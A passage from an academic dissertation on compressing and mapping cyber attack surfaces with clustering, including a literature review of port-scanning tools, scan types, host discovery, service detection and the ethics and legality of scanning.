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Abstract

Security testing consists of automated processes, like Dynamic Application

Security Testing (DAST) and Static Application Security Testing (SAST), as well as

manual offensive security testing, like Penetration Testing and Red Teaming. This

nonautomated testing is frequently time-constrained and difficult to scale. Previous

literature suggests that most research is spent in support of improving fully auto-

mated processes or in finding specific vulnerabilities, with little time spent improving

the interpretation of the scanned attack surface critical to nonautomated testing.

In this work, agglomerative hierarchical clustering is used to compress the Internet-

facing hosts of 13 representative companies as collected by the Shodan search engine,

resulting in an average 89% reduction in attack surface complexity. The work is then

extended to map network services and also analyze the characteristics of the Log4Shell

security vulnerability and its impact on attack surface mapping. The results high-

lighted outliers indicative of possible anti-patterns as well as opportunities to improve

how testers and tools map the web attack surface. Ultimately the work is extended

to compress web attack surfaces based on security relevant features, demonstrating

via accuracy measurements not only that this compression is feasible but can also be

automated. In the process a framework is created which could be extended in future

work to compress other attack surfaces, including physical structures/campuses for

physical security testing and even humans for social engineering tests.
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Chapter 1

Introduction

1.1 Offensive Security Testing

Offensive security testing is an essential part of a complete testing program

that finds vulnerabilities. Traditional compliance testing can only provide a view

from the inside of the system. Vulnerability scanning will provide information on

known vulnerabilities but is ineffective against unknown vulnerabilities. Furthermore,

configuration errors, business logic flaws, and other flaws aren’t standardized enough

to be caught by compliance or vulnerability scanning methods. This large gap is

where offensive security testing comes in. There are two main types of offensive

security testing, penetration testing and red teaming.

Penetration testing, a manual form of the more automated Dynamic Applica-

tion Security Testing (DAST) can be thought of as “angry quality assurance testing”.

The purpose of penetration testing is to find vulnerabilities by looking from the

outside of the system. Contrast this with code review, more recently called Static

Application Security Testing (SAST), which examines the software code of the system

for flaws. Penetration testing tests the system while it is running. After identifying
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the attack surface of an application or system, the penetration tester will send attacks

at the system. Some examples of attacks include Structured Query Language (SQL)

injection, Cross Site Scripting (XSS), Cross Site Request Forgery, and Insecure Direct

Object Reference. By observing the way the application responds to the attacks, the

penetration tester can determine whether or not a vulnerability exists and how best

to exploit it. A key benefit of penetration testing is that false positives can be largely

eliminated, because oftentimes the penetration tester can obtain a screen capture or

other evidence to prove the finding exists [5].

Red teaming, on the other hand, is all about threat simulation. Like any test,

the intent of the tester is very important when it comes to red teaming. Many organi-

zations use red teams very closely with the organization’s blue team. By doing so they

help the blue team improve their ability to detect and respond to threat actors. Un-

like penetration testing, vulnerabilities found by a red team are generally attributed

to policies, processes, or protection mechanism misconfigurations/flaws. Because red

teams accurately simulate threats, they can be highly effective at evaluating both a

blue team’s response and the other protection mechanisms in the organization. A

properly-executed red team operation will reveal if a process or security component

is not providing the protection it should [138].

These two types of tests are different, but they do have one similarity: before

executing any exploit attempts, it is necessary for the tester to characterize the attack

surface of the system under test. The attack surface can be defined as the set of all

points through which an attacker can attempt an exploit on the system under test.

Just because a point is on the attack surface does not necessarily mean it has a

vulnerability; it simply means that it could have a vulnerability. If a tester fails to

completely and accurately identify the attack surface, a point may be omitted and

thus untested. In the case of a penetration test, this could mean that a vulnerability
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is overlooked, not reported, and left vulnerable instead of being prioritized for a fix.

In the case of the red team, a missed point on the attack surface could mean a missed

opportunity for the red team and a less accurate assessment.

The cyber attack surface has changed over the years. Cloud computing [37],

bring-your-own-device [176], vulnerable dependencies [130], and vendor security risks [156]

have made the walled-fortress concept, where a soft inner network is protected by a

hardened firewall, much less relevant. Attackers can enter a network from a trusted

vendor connection or by compromised a device without security software that is al-

lowed to connect to the internal network. The attack surface hasn’t disappeared, but

it has become multi-faceted, more complex, and more accessible to attackers. Our re-

search as outlined in the following chapters provides a framework and techniques that

allow for attack surface mapping and analysis, regardless of the shape or composition

of that surface.

1.2 Network Attack Surface Mapping

Our initial research explores mapping the attack surface of a network, focusing

on the traditional externally-facing attack surface in order to build the technique. We

develop a custom unsupervised machine learning algorithm to organize and compress

thousands of Internet-facing systems based on their open ports. Our subsequent work

focuses on an attack surface composed of the services listening on those ports, using

established Python-based libraries to perform the clustering based on custom-made

similarity algorithms we created that compute the distance between services based

on the expected protocol and the service banner. We show the usefulness for both

host- and service-based similarity with use cases outlining how an offensive security

professional might use the information to increase the efficiency and effectiveness of
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test planning [50, 52].

1.3 Log4Shell and the Attack Surface

The Log4Shell zero-day vulnerability caught entire industries off-guard. A

single attacker-provided string parsed by a vulnerable version of the Log4j library

was enough to allow remote code execution on the vulnerable system. Since logging

also happens on non-Internet-facing systems, many systems firewalled deep within

corporate networks were also vulnerable to attack from the Internet. We built a

vulnerable application and hosted it in a cloud environment, testing attack scenarios

and mitigations to determine which mitigations were successful and which stage of

the attack they blocked. We also analyzed and evaluated the effectiveness of multiple

open-source test tools that were quickly released following the Log4Shell disclosure.

We provided a qualitative analysis of the dynamic tools and a quantitative analysis

of the precision and accuracy of the static tools against a testbed of vulnerable and

non-vulnerable applications. In doing so we revealed the importance of learning how

tools work before using them, and also how to quickly test the effectiveness of those

tools so security engineers can properly evaluate their systems for the next zero-day

vulnerability. Most importantly, Log4Shell reinforced the fact that the notion of

“attack surface” as a single-faceted exterior shell is out of date, and that mapping

this newer paradigm of an attack surface is a complex, worthwhile problem [53, 49].

1.4 Web Attack Surface Mapping

Our latest research extends attack surface mapping to web sites. We gather

data on the web attack surface of twelve organizations from different industries using
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red team tools and techniques. We then identify the security-relevant features that

define these attack surfaces using standards like the Open Web Application Security

Project (OWASP) Top Ten vulnerability list, and we develop custom similarity algo-

rithms to determine the distance between different web sites on the surface based on

what differentiates those sites from the perspective of vulnerability frameworks and

test techniques. We provide the similarity algorithms and clustering as an open-source

application called the Attack Surface Processor (ASP), which can cluster attack sur-

faces automatically and generate general guidance for security professionals. Finally,

we evaluate the effectiveness of ASP using statistical analysis as well as a qualita-

tive analysis based on case-study walk-throughs from the perspective of an offensive

security tester.

1.5 Dissertation Statement

Detecting all points on an attack surface accurately is a hard problem. This

holds true at a network level, an application level, and beyond. When this information

is used to support offensive security testing, the problem is compounded by the time

constraints of limited nonautomated resources available to conduct testing. Attack

surface mapping for nonautomated testing doesn’t scale well even before it is expanded

to include application attack surfaces. Even if an attack surface can be accurately

mapped, there are too many different tools that create outputs too complex to be

digested.

With our research, we answer the following research questions:

• Can a cyber attack surface be compressed via unsupervised machine learning

based on similarity of security-relevant features in a way meaningful to offensive

security testing?
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• Can this compression be effectively automated to further reduce the effort for

offensive security testing?

• Which security-relevant features produce the most useful results in manual and

automated compression?

6



Chapter 2

Literature Review

Publications related to cyber attack surfaces tend to follow one of two defini-

tions of an “attack surface”. The first definition is the collection of vulnerable points

through which someone could successfully conduct an “attack”, e.g., exploiting a

known buffer overflow vulnerability. The second is the collection of points through

which someone could attempt an “attack”, e.g., attempting to guess a password or

exploit a potential buffer overflow. Our research follows the second definition for

multiple reasons. First, it allows for the potential of zero-day vulnerabilities (vul-

nerabilities which have not yet been discovered). Next, current literature indicates

that both network scanners and Web Application Vulnerability Scanners (WAVS)

subdivide their functionality into crawling (detecting the attack surface) and test-

ing/attacking (probing the attack surface for vulnerabilities)[74, 1, 8]. Thus, this

interpretation of attack surface seems to align best with the current tool set.

Our review of the literature in this area is split into two parts. The first, larger

review discusses network attack surfaces in general. The tools and techniques we de-

scribe are relevant not only to network attack surfaces, but also application attack

surfaces. We describe the effectiveness of these tools and techniques, and we review
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the literature in terms of how they are applied to solve different problems in different

networking environment. In the second part of the review, we specifically discuss web

attack surface topics relevant to security, to include WAVS and other vulnerability

scanning issues. We then discuss the non-security-specific uses of web attack surface

mapping like content extraction and metrics before concluding by specifically dis-

cussing the use of clustering. This review reveals how the meaning of attack surface

changes as we look at it from different perspectives.

2.1 Network Attack Surface Mapping

Network attack surface mapping is the act of identifying a system’s running

processes with network exposure. In this definition, the term “system” can be taken

to mean an individual computer, a network device, an application, or even an entire

organization’s infrastructure. Identifying services is the first step toward mapping

an attack surface, which is the collection of points an attacker could attempt to

exploit in order to gain unauthorized access to a system. While there are varying

definitions of attack surface, with some limiting the attack surface to points with

known vulnerabilities [185], the more common definition appears to be the one which

does not assume vulnerable surfaces.

Network attack surface mapping is important regardless of whether one is

testing or defending the attack surface. The importance is two-fold: first, it is difficult

to test or defend points when you don’t know they exist. If the tool used to detect

services is tuned too conservatively, the scan may take too long to be useful; if the

tool is tuned quickly enough to return timely results, it could miss services or even

entire hosts. Second, it is difficult to design a proper test or defense without knowing

detailed information concerning which services are listening for connections (and on

8



which ports they are listening). Some exploitation tools will spray every possible

exploit against every possible service, but given the large number of exploits and

services now available, this approach will be time-prohibitive [172]. This approach

is also extremely easy to detect and thus could result in compromise of a red team

operation.

While attack surface mapping provides valuable security metrics as the first

step to a test or red team operation [47], the act of attack surface mapping itself

has multiple steps. Our survey breaks down the steps of attack surface mapping

as shown in Figure 2.1. Steps can be included, omitted, and revisited as necessary

depending on the information required. The Host Discovery and Port Scanning steps

find “fact-of” a service—to identify that a service is running and accessible at a

given IP address on a given port. Next, the Service/Version and Operating System

detection steps classify and identify the service, usually using the banner information

returned when a client communicates with the service. Finally, the Script Scanning

step provides detailed information about the service through additional active probing

and/or analysis. For simple services like FTP this includes gathering configuration

information like anonymous access capability [97]. For more complex services like

web sites, this could be as simple as determining the technology behind the web site

or may even lead to spidering and mapping the entire site to map the attack service

at the Application Layer. Underpinning all of these steps is Firewall/IDS Evasion, a

technique that involves choosing and/or manipulating packets sent from a scanner in

such a way that they are harder to detect and/or can still provide useful information

when scanning a system protected by a firewall [30]. Evasion could be required at

any or all steps to ensure an accurate mapping.

Even the relatively simple first steps of Host Discovery and Port Scanning

can be more daunting than expected. For example, the network attack surface of
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Figure 2.1: Network Attack Surface Mapping Functions

a single host can have up to 65,535 possible TCP ports and 65,535 possible UDP

ports. Research has shown that organizations can have hundreds, even thousands

of externally-facing hosts [51]. Even services intended for public discovery can be

overlooked with a traditional port scan because of issues like network congestion at

any point between the scanner and target system [117]. Once rate-limiting, firewall

blocks, and other defensive measures are accounted for, it becomes obvious quickly

that developing a true picture can be a challenge.

Newer technologies like Software Defined Networks (SDN) offer additional

challenges to traditional port scanning tools. The separation of control and data

planes can make deliberate port scanning difficult to implement, since one plane can-

not directly access another. Furthermore, if flow control rules are not established (or

allowed to be established), the port scan may be stopped simply because the network

does not allow that flow. This makes it difficult to determine if a non-response is due

to a firewalled host, a missing host, or simply a network configured not to pass the

information [105]. SDNs can even be configured to defeat port scanning [84].

2.1.1 Related Surveys

Based on a review of all related surveys, there are several works that discuss

port scanning in detail, but none survey the full spectrum of activities involved in

attack surface mapping as presented in our survey.

Bou-Harb et al. [24] coined the term “cyber scanning” to describe port scan-

ning conducted by someone with malicious intent as the first step in a cyber attack.
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They categorized cyber scanning in three different ways. First, scanning could be

either active scanning (as performed with a port scanning tool) or passive scanning

(as performed by a network monitoring tool that can see traffic as it traverses a point

under the scanning user’s control). Secondly, scanning could be classified by its source

and destination (whether scanning from remote or local and to remote or local). Fi-

nally, they categorized scanning based on the approach taken by the scanning user:

wide-range or target-specific and single-source or distributed). Their survey focused

on port scanning and, while it provided a comprehensive survey of different port

scanning techniques and supporting literature, it didn’t discuss the service/version

detection, operating system detection, and script scanning that are often a key part

of attack surface mapping.

Bhuyan et al. [21] discussed many different types of port scanning but did not

discuss the other aspects of attack surface mapping. Their work thoroughly surveyed

the literature concerned with detecting port scans. The detection methodologies are

categorized as single-source or distributed, which aligns with the categorization used

by Bou-Harb et al. [24] to describe cyber scanning. The authors ultimately classified

detection approaches by the methods used; for example, algorithmic, rule-based, and

clustering were some of the different methods described. A discussion of data sets

that can be used to evaluate IDS was also included.

Barnett et al. [17] created a taxonomy of scanning techniques based on scan

type and attributes. Like the previously discussed survey papers, this paper only

discussed the port scanning aspect and did not discuss the other functions involved

in attack surface mapping. The authors created a taxonomy based in part on their

collection of two years of network traffic via their network telescope. The taxonomy

divided scan types into Layer 2 scans, Layer 3 scans, scans of different speeds, and

source/destination of scans.
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Mandal and Jadhav [104] presented a discussion of open-source network secu-

rity tools in their paper. Nmap was presented as a port scanning tool that one could

use to scan their own network for vulnerabilities. The authors provided a discussion

of the types of scans (SYN, Connect, FIN, XMAS, etc.), but did not go into detail

about Nmap’s other capabilities (service detection, script scanning, etc.)

2.1.2 Network Attack Surface Mapping Tools

Over the years there have been many tools that can be used for one or more

of the many tasks required in network attack surface mapping. These tools vary in

approach and purpose [36, 109]. For example, tools like Shodan [106] and Censys [44]

perform regular scans of the Internet according to a preset schedule, allowing users

to query scans already made. Tools like Nmap [102], Masscan [65], ZMap [45], and

others allow users full control over all aspects of their scans but require those users to

provide their own hardware and network connectivity to conduct the scan. Tools such

as these require an adequate network infrastructure and run the risk of blowback from

organizations who consider an unsolicited scan to be an attack. Table 2.1 summarizes

the five tools discussed in our survey. A detailed discussion of each tool follows.

2.1.2.1 Nmap

Arguably the most well-known network mapping tool, Nmap performs basic

port scanning while extending this capability with service and version detection, oper-

ating system detection, and an extensible script engine which allows users to automate

tools that make use of raw port scan data to interact further with the services for many

purposes [78]. Potential uses of the scripting engine include information gathering,

password brute-force attempts, and some vulnerability identification [102, 28, 76, 106].
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Tool Name Purpose Hosting Target
Networks

Notable Features

Nmap [102] Port
Scanning
and Service
Detection

User Internal or
Internet-facing

robust feature set,
extensible script en-
gine

ZMap,
ZGrab [45]

Internet-
Wide
Mapping

User Internal or
Internet-facing

fast, engine used by
Censys

Masscan [65] Internet-
Wide Port
Scanning

User Internal or
Internet-facing

fast, limited banner
grabbing

Shodan [106] Internet-
Wide
Mapping

Third-Party Internet-facing IoT-focused, vulner-
ability detection

Censys [44] Internet-
Wide
Mapping

Third-Party Internet-facing detailed banner info,
direct database ac-
cess

Table 2.1: Network Attack Surface Mapping Tools

This capability is even more powerful when combined with other tools, for example

combining Nmap’s capabilities with Metasploit to develop an automated hacking ca-

pability [168]. Unlike Censys and Shodan, Nmap is an active scanner run by the user,

so users must be cognizant of legal and ethical responsibilities to ensure they don’t

run afoul of network owners or cause any unintentional outages.

2.1.2.2 ZMap and ZGrab

ZMap was designed to conduct Internet-wide port scans. Through the use of

such features as no rate limiting, hand-crafted Ethernet frames, and stateless packet

transmission, the author claims ZMap can scan the entire IPv4 space approximately

1300 times faster than Nmap [45]. One interesting thing to note about ZMap is

that, if run it without options, it scans 0.0.0.0/8 by default. This could result in an

unintentional port scan of a large portion of the Internet before program execution
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could be halted.

ZGrab is the service-detection counterpart to the ZMap port scanner and

implements banner grabbing in support of the Censys project. ZGrab is designed to

query services after an initial connection. Written in the Go programming language,

ZGrab has a number of built-in modules to read banner information from common

services like SSH, FTP, HTTP, and many more. It gathers a great deal of information

about the targeted service and outputs the information as JSON format. ZGrab is

limited to providing information on services it has been programmed to interpret.

Even so, it is extensible in case the user wants to write modules to detect additional

services [44].

2.1.2.3 Masscan

Like ZMap, Masscan [65] was designed to scan the entire Internet, and it too

uses asynchronous scanning to increase speed. Asynchronous scanners separate the

threads that transmit packets from the threads that receive packets, allowing for

higher speeds. Masscan’s command line options are modeled after Nmap for ease

of use, and it incorporates limited banner detection capabilities [65]. Asynchronous

tools can cause network congestion on networks at the source, target, or anywhere in

between. Careful tuning is essential to ensure networks are not overwhelmed to the

point where packets are lost and open ports are missed [69, 181].

2.1.2.4 Shodan

Known as the search engine of the Internet of Things, Shodan is one of two

tools discussed herein that conducts scans on its own or at the request of users on

their behalf, providing the results to all users. Outsourcing the actual scanning

function to Shodan provides a number of advantages, particularly if a researcher’s
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Internet Service Provider (ISP) does not look kindly upon port scans. However the

user has less control over scans. Shodan only scans a subset of available ports. Even

if specifically asked, it will not scan ports beyond its chosen subset. There is also less

control over particular scan types and the version data that is returned. Perhaps the

biggest advantage of a tool like Shodan is that the data has already been collected and

is waiting to be queried. The actual tools used by Shodan to conduct port scanning

and banner grabbing are unknown [170, 96].

2.1.2.5 Censys

Censys, like Shodan, scans the Internet and provides the results for users to

query. It uses the ZMap and ZGrab[45] scanning/banner grabbing engines discussed

above. It is listed herein as a separate tool because, like Shodan, it allows researchers

and testers to review scan data collected by someone else, eliminating the need to

coordinate with the entity to be scanned or gain permission from an ISP or institution

to conduct scans from their network. While both Shodan and Censys can be accessed

via API, Censys also allows direct access to its database via Google BigQuery. When

Censys launched, it only scanned 14 ports; at time of writing Censys has been ex-

panded to scan over 2,500 ports [44]. However this is only a fraction of all ports, so

services running on less common ports are likely not included in the database.

2.1.3 Ethics and Legality

The act of discovering hosts and conducting the subsequent port scan has been

the center of an ethical debate. Since port scanning is simply checking to see which

parts of a server are responding, is that illegal or unethical? And at what point, if
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any, does it become so?1

In the United States there are many laws that could come into play when port

scanning, and it is necessary to consider local, state, and federal laws before directing

a scanner through, at, or from resources that are not owned by the person conducting

the scans. The primary federal law that applies here is the Computer Fraud and

Abuse Act (CFAA) of 1986, which has been updated numerous times in an attempt

to keep up with changing technology and services [71, 19].

A common analogy used is the one of comparing port scans to checking doors

to see if they are open. The US Federal District Court of Georgia determined port

scanning was not illegal because it did not cause damage to a network, the sort of dam-

age that would indicate liability under various laws including the CFAA mentioned

above. However the target of the scan is not the only entity potentially impacted,

so the scanner should be cognizant of potential legal or contractual ramifications

involving every point of the network from the scanner to and including the target

network [158]. Extreme cases that flood networks and cause impact may not fall un-

der this ruling, and there are other non-United States laws to consider as well. Most

of these laws also follow the concept of “interference”, so if a scan doesn’t interfere

with ongoing operations, it is less likely to be illegal [46]. Intention matters as well,

as does competency. The indiscriminate use of a tool by an operator who does not

understand the potential impacts is unethical and may be illegal if it causes impact

to a network or system, regardless of intentions [65, 102].

Ethics was a strong consideration in the design and ongoing usage of Cen-

sys [44]. Its designers conferred with their university network staff and local ISP,

provided clues in their DNS records and via a website running on each scanner ad-

1This paper does not constitute legal advice, the authors are not attorneys, and anyone wishing
to operate a port scanner is advised to consult a legal expert to avoid any questions of legality.
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dress. Most importantly they honor exclusion requests for those who would rather

not be scanned. Since they use standards-compliant network traffic and do not at-

tempt to detect any vulnerabilities directly, they felt ethically sound in their decision

to make this data available on the Censys website.

Research has shown that Shodan has been actively used to facilitate IoT hack-

ing [12]. Perhaps the most significant advantage is that tools like Shodan and Censys

turn what used to be active scanning into passive reconnaissance, allowing a would-be

attacker to gain valuable information on a target without sending even a single packet

directly to that target.

2.1.4 Host Discovery

Host discovery is the act of determining whether or not a system exists at an

IP address. This could be considered the first step in network attack surface mapping.

By default, the port scanning tool Nmap will skip an IP address it has been asked

to scan if it can’t verify the host is up. It is possible to skip host discovery, and this

technique is often used if a tester wants to ensure they don’t accidentally skip a host

which is up but for some reason doesn’t respond to discovery. It may also be skipped

based on scan intention—for example, a scan of a single port over the entire Internet

(a horizontal scan) would not benefit from host discovery. In the case of a per-host

scan (a vertical scan), skipping Host Discovery will greatly slow down the scan, and

testers would be better served to use Nmap options to customize host discovery to

better detect the hard-to-find hosts [102].
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2.1.4.1 Discovery Techniques

Hosts on the Internet can be placed into one of two categories: public and

private. If a host is intentionally exposed to the Internet, it can safely be assumed

that the host is intended to be accessed by someone publicly; however, it must not

be assumed that the host maintainer wants all data on the host to be accessible to

everyone. For example, it’s obvious a bank wants its customers to be able to access

their account (and only their account) from the Internet [102]. While this may seem a

basic concept, it must be kept in mind when conducting host discovery. Just because

a host advertises services to the Internet, it cannot be assumed that any or all of

those services are meant to be accessed by the general public.

There are many potential techniques that could be used to discover a host.

Nmap’s default discovery technique is well-documented and provides an excellent

example for discussion. According to Nmap’s documentation, the tool sends four

packets to discover a host:

• ICMP Echo

• TCP SYN to port 443

• TCP ACK to port 80

• ICMP Timestamp

Gordon Lyon (a.k.a. Fyodor)[101] describes the rationale for this technique as

follows:

• ICMP Echo, the packet most commonly sent from a ping command, is some-

times dropped but normally considered harmless and therefore a good choice to

use for discovery.
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• TCP SYN is typically effective against stateful firewalls, because it will allow

new connections if so configured.

• TCP ACK is typically effective against stateless firewalls, because stateful fire-

walls will recognize the ACK does not belong to a previous conversation and

block them. However a stateless firewall, even one configured to block, might al-

low this packet through mistakenly assuming it is part of a previously-requested

conversation.

• ICMP Timestamp might pass through if a firewall administrator overlooks it

and configures the firewall to block just ICMP Echo.

Fyodor also discussed the use of protocol pinging, where packets with non-

standard protocols are sent to servers in the hope they will reply with a rejection

message. Protocol pinging and TCP techniques described above are for host discovery.

The tester isn’t looking to get an accurate picture of the ports; instead, the tester

just wants to know if the host is up and responding before sending a large number of

packets to enumerate the services on that system. It doesn’t matter how the target

responds to any of these packets, as long as it responds at all. Whether the target

responds that it is ready to receive communication or that it rejects the connection,

Nmap knows the server is up. The only way for a server to avoid detection is to not

respond at all [101].

Nmap will send different packets in certain circumstances. For example, if

the target is on the local network, Nmap will detect it using Address Resolution

Protocol (ARP). If Nmap is run in a Unix environment without root privileges, it

sends standard TCP SYN packets to 443 and 80.

If an Nmap user wishes to avoid sending the traditional discovery packets

either to avoid looking like an Nmap scan or to improve detection for devices that are
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configured to avoid it, they can configure Nmap to send different types of packets using

command line options. There are options to send TCP SYN or ACK packets, UDP

packets, Stream Control Transmission Protocol (SCTP) INIT packets, or various

types of ICMP pings or IP packets. These options can be combined to adapt the

discovery capabilities of Nmap to a variety of target configurations.

Tools like ZMap and Masscan are designed to scan large swaths of the Internet

for open ports, and thus don’t have host discovery options [65, 45]. One can correctly

assume a host is active if a port is listening on that host. Likewise, while it can scan

ports with a built-in module, the Metasploit framework relies on Nmap for its host

discovery capability [151].

Evading Discovery. It has been widely held in cybersecurity circles that

security through obscurity is not an adequate defense. However, obfuscation can be

an effective mitigation, and sometimes mitigation is sufficient to deter an attacker

looking for an easy target [162].

For a host to hide itself effectively from host discovery, it would have to provide

no response whatsoever, no matter what packets were sent. This is normally accom-

plished through the use of a firewall configured to drop packets without responding.

Without such a firewall, the “polite” operating system will respond in accordance

with the protocol descriptions in RFCs (Request For Comments) that dictate appro-

priate responses. For example, an operating system will normally send a RST packet

in response to a SYN packet destined for a closed port. While effectively ending any

chance of a connection, this RST reveals to the sender of the SYN packet that a host

is up and functioning. Simply dropping the packet, while less “polite”, would leave

the sender not knowing if there was really a host there or not.

Unfortunately, a host that cannot respond to any connection attempts can-

not provide services via the network. An alternate method, then, is to only allow
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connections to essential services, dropping all other packets. Given Nmap’s default

discovery described above, an FTP server can hide from Nmap by dropping ICMP

packets as well as packets sent to TCP 80 and TCP 443. In this case, Nmap’s default

host discovery process would indicate that, even if there is a host at the requested IP,

it might not be responding. However if the Nmap user chooses to use a custom flag

like -PS21 that includes port 21, the device will be seen.

Advanced features like port knocking can help a server to appear invisible to

the network. Port-knocking is a server configuration in which the server only accepts

connections after a certain sequence of ports is accessed. It is analogous to a “secret

knock” at a door, where the door will only be opened if the right sequence is presented,

and all other attempts to gain a response will be ignored. Other techniques involve

clients including a token inside the packet header, with servers rejecting any packets

that do not contain the token. As with most security features, there is a positive

correlation between level of protection and level of inconvenience. It is ultimately

up to the owner of the host to evaluate risk and determine the appropriate level of

protection [90].

Tools like Shodan have host discovery capabilities that can identify IoT devices

participating in scanning campaigns. It’s possible to set up a network telescope and

then identify the systems scanning it without scanning them back by using Shodan.

This technique wouldn’t work if the scanning system was behind a NAT firewall [170].

Shodan can also discover Programmable Logic Controllers (PLC) in addition to IoT

devices, and it can be used to support direct scanning by providing initial information

before using Nmap or another tool to conduct a more thorough scan [187, 87].

Manzanares et al. [105] implemented ICMP, TCP, and UDP methods of host

discovery in an SDN controller module as part of an effort to bring Nmap capability

to an SDN. By intercepting and encapsulating network traffic, they were able to send

21



it from the management network to the target network, thus allowing the Nmap user

to conduct scans via the controller as is traditional in SDN. Achleitner et al. [2]

developed a defensive system to deceive port scanners attempting to identify hosts

on an SDN. Their system created a virtual network view, and they used Nmap to

test the effectiveness of this mechanism and prove that host discovery tools would be

fooled by the virtual view.

Nmap can also be used to scan internal systems like databases [13] or to con-

duct host discovery to create an inventory of network assets. This accurate inventory

of network assets is key to measuring and managing the risk of an enterprise environ-

ment [78].

2.1.5 Port Scanning

Whereas the goal of Host Discovery is to identify active hosts, the goal of Port

Scanning is to identify open ports, which indicate active services listening on the

network. Vertically-scanning tools like Nmap discover hosts first by default before

executing a port scan. This is to save time—since a vertical scan involves many ports,

it would be a waste of time to scan hosts that aren’t known to be up. Conversely,

horizontally-scanning tools like ZMap do not even have an option to conduct Host

Discovery. This is because Host Discovery must send at least one ping or check at

least one port on the host, so performing a separate Host Discovery would double the

number of packets that needed to be sent per active host.

2.1.5.1 TCP Scanning

Transmission Control Protocol (TCP) is the most common protocol in use on

the Internet today. An understanding of TCP’s three-way handshake is essential to
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understanding some of the unique methods available to security researchers seeking

information on TCP ports [72].

Every standard TCP connection starts with a three-way handshake:

1. A server sends a SYN packet to a server it wishes to communicate with.

2. The destination server responds to the source server with a SYN-ACK packet

to indicate it wants to communicate.

3. The source server responds with an ACK packet, finalizing the connection and

allowing the two servers to communicate freely over that connection.

Scanners can often determine the status of a port without completing the

entire TCP handshake. For example, if a scanner receives a SYN-ACK packet in

response to a SYN packet, it knows the port is open. There is no reason to send the

ACK and finalize the connection. However, some of the scanners can be configured

to conduct different scans. [119]

Tools like ZMap and Masscan are designed to scan the entire Internet quickly.

As such, these tools do not complete the TCP handshake and only listen for the initial

reply from the target. Nmap can be configured for either Connect or SYN scans, as

well as other scan types.

Nmap can execute many different types of TCP scanning. Each type of scan

has a particular purpose. The most common TCP scan types are outlined below [171,

24]:

• The Syn scan sends a SYN packet and evaluates the response. If a SYN-ACK

is received, the scanner sends a RST packet to close the connection [104].

• The Connect Scan mimics a typical TCP connection. It sends a SYN packet and

evaluates the response, but continues through the standard TCP connection,
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responding as appropriate based on the response sent from the server. This

includes sending a RST packet to close the connection [107].

• The Ack Scan sends Ack packets to the server. It’s used to determine firewall

behavior and isn’t useful for determining open ports. This is because it returns

the same response, unfiltered, if a port is open or closed and returns filtered if

it gets no response.

• The Window Scan, is just like the Ack scan except Nmap checks the TCP

Window value of any RST packet returned to attempt to determine whether

the port is open or closed.

• The Maimon Scan, is named after Uriel Maimon, who discovered it. This scan

sends a packet with the FIN and ACK flags set. A RST response indicates the

port is closed, while no response could mean open or filtered.

• The Idle Scan, uses a third system to hide the IP address of the scanning system

from the target. By forging SYN packets from the third system, often called

a ”zombie system”, the scanning system can determine if a port is open or

closed/filtered by checking the IP ID returned by the zombie. No packets are

ever sent from the scanning system to the target system. Zhang et al. described

an improvement to Nmap’s Idle scan based on changes to the TCP stack over

the years [186].

• The Fin, Null, and Xmas Scans respectively set the FIN flag, no flags, or the

FIN, PSH, and URG flags respectively. The expected responses are the same

for all three scan types: a closed port should send a RST, while an open or

filtered port is not expected to respond.
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Depending on the target to be scanned and the environment, it may be advan-

tageous to dynamically adapt and combine different scanning techniques on certain

ports. Dynamically adapting scans reduces detectability and network congestion, and

may provide more accurate results in less time [165, 157].

2.1.5.2 UDP Scanning

Uniform Datagram Protocol (UDP) is less common than TCP but still widely

used, in particular for services like the Domain Name Service (DNS) or Simple Net-

work Management Protocol (SNMP). Because UDP is a “best effort” protocol, with

no inherent ability to confirm receipt of transmission, scanning for UDP services is

a much greater challenge. While TCP SYN/Connect scanning can rely on the SYN-

ACK packet to indicate a port is listening, UDP services have no equivalent. UDP

scans are inverse in that the server should respond if the port is unreachable (not

running a service). Thus, a UDP scanner identifies open ports as those that return

no response (or a response other than ICMP-unreachable) [95].

Nmap and ZMap allow UDP scanning. Man/help pages for Masscan indicates

it does not scan UDP ports. Nmap’s service detection engine aids in UDP scanning

by sending additional requests to services considered “open or filtered” to attempt

to identify a service. If a reply is received to any of these probes, the port status

is changed to “open”. If no reply is given, the UDP protocol does not provide a

definitive answered as to open or closed since the port may not be responding simply

because the expected input was not given.

2.1.5.3 Most Common Ports

With 65,535 TCP ports and 65,535 UDP ports to scan, it might not always

be feasible to scan the entire port range for every host. The time required to conduct
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such a thorough scan may be prohibitive; for example, Tor services close circuits

by default when being scanned, greatly increasing the time needed to conduct an

accurate scan of the dark web [161]. The objective of the scan will also drive the

number of ports scanned, as well as the order and the timing. A red team looking

to stealthily find an entry point into a network likely won’t scan all these ports on

all systems. However, someone conducting an exhaustive vulnerability scan with the

promise to cover every possible point on the network attack surface will want to make

sure they don’t miss a single port [13].

For those not wanting to scan every single port, Nmap provides a prioritized

port list as a file called nmap-services. This file contains a number indicating how

frequently each port would be expected to appear. The most common ports like

TCP/80 have a higher number rating, while the ports rated at or near zero are very

unlikely to be seen. This information was gathered from an Internet-wide port scan

in 2008 as well as by asking various organizations for data on their internal network.

The list in nmap-services accounts for both Internet-facing and internal networks

combined, and has been tweaked and updated but not been significantly revised since

its creation [101].

Nmap’s default scanning configuration makes use of this data by scanning only

the top 1,000 ports. This was an improvement added in 2008—previously, Nmap

scanned all lower ports and named upper ports. By scanning the top 1,000 ports

Nmap ran faster and returned more open ports, so this was a significant improvement.

Nmap has additional features which allow users to scan only the top 100 ports or even

choose an arbitrary number of ports to scan. Finally, testers can direct Nmap to only

scan ports with a frequency greater than a specified value [102].
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2.1.6 Service and Version Detection

Service and version detection is the process of identifying the software behind

the process listening on a given port [102]. By connecting to the service and, if

needed, sending an expected initial transmission over the network, the response can

be analyzed to determine the software that has opened the port on the target. In

some cases the version can be determined as well.

There are several reasons why service detection is an important step in net-

work attack surface mapping. First, while the Internet Assigned Numbers Authority

(IANA) provides a list of port/service pairs indicating which service is typically on

each port, many services are configurable to any open port [175]. Second, just know-

ing the generic service type may not be enough. A quick review of the Metasploit

Framework’s exploits will show that exploits are generally tailored to a particular

type of server. For example, an FTP exploit generally doesn’t work against all FTP

servers, but only on a particular type [108]. Knowing the version is also important,

since once a vulnerability is fixed, the exploit will no longer work. Knowing the

version of a service will help the tester choose an exploit, and it will also help the

network defender know what needs to be patched or monitored. Information about

individual services can be combined to infer the purpose of the device as a whole;

analyzing botnets [68] and identifying honeypots [116] are two examples of this.

Most network attack surface mapping tools do not have an inherent service

detection capability. Nmap has a robust service detection capability based on probing

